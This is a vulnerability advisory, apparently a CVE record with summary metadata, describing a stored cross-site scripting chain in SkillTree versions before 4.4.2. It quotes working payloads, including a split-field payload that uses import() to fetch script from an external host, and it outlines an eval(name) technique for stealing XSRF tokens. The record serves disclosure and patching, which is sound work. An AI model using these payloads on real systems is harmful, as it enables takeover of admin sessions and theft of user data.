Description

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "9.6",
  "pubDate": "2026-09-09T19:17:28.400Z",
  "pubdate": "2026-09-09T19:17:28.400Z",
  "executiveSummary": "SkillTree versions prior to 4.4.2 are vulnerable to a critical Stored Cross-Site Scripting (XSS) exploit chain originating from improper input sanitization during account registration.\nThe vulnerability allows an authenticated attacker to inject malicious payloads into fields such as 'firstName', 'lastName', and 'nickname', which are subsequently rendered in an administrator's browser context without HTML entity encoding or sanitization.\nThis flaw manifests through the combination of insecure string interpolation in 'StringHighlighter.js' and the use of the 'v-html' directive in 'HighlightedValue.vue', which directly sets the 'innerHTML' property.\nThe impact is severe, ranging from basic script execution to remote script loading and full XSRF token theft, enabling an attacker to perform administrative actions, modify projects, create backdoors, or exfiltrate sensitive user data.\nExploitation requires no special privileges beyond standard user registration and no phishing, as the payload triggers automatically when an administrator views the Quiz Runs page.\nThis vulnerability represents a high-risk security flaw that allows for complete compromise of administrative sessions and data integrity within the SkillTree platform.",
  "technicalDetails": "The root cause of this vulnerability is a breakdown in the secure handling of user-supplied input across the application's data flow. The registration endpoint fails to sanitize 'firstName', 'lastName', and 'nickname' fields, allowing malicious HTML and JavaScript fragments to be stored in the database.\nThe client-side rendering mechanism exacerbates this flaw: 'StringHighlighter.js' interpolates raw input substrings directly into template literals without encoding. This string is then passed to 'HighlightedValue.vue', which leverages Vue's 'v-html' directive. By design, 'v-html' renders raw strings as HTML, thereby executing any script tags or event handlers embedded by the attacker.\nThe attack flow follows a progression of three distinct paths. First, basic XSS: an attacker registers with a payload under the 30-character limit, such as '<img src=x onerror=alert(1)>'. When an administrator navigates to the Quiz Runs page, the browser parses the payload, triggering execution within the admin's session.\nSecond, remote script loading via 'import()': an attacker circumvents character limits by splitting the payload across 'lastName' and 'firstName' fields (e.g., '<img src=x' and 'onerror=import('//nsas.cc/p')>'). This reconstructs a functional script tag that dynamically imports an external JavaScript payload from an attacker-controlled server. This bypasses character length constraints, allowing for the execution of complex, multi-stage operations such as deleting projects, creating unauthorized accounts, or deploying keyloggers.\nThird, XSRF token theft: by leveraging 'eval(name)' in conjunction with a forced navigation to a redirect link, an attacker can set 'window.name' to a data-theft payload. Because the application processes requests within the same origin, the attacker can execute authenticated API calls using the stolen XSRF token to exfiltrate session-specific data to an external server.\nThe vulnerability is present in all versions prior to 4.4.2. It requires no social engineering or administrative interaction beyond standard usage patterns; the payload execution is triggered implicitly by the administrator accessing a legitimate administrative interface, making this a highly effective and stealthy vector for privilege escalation and data exfiltration."
}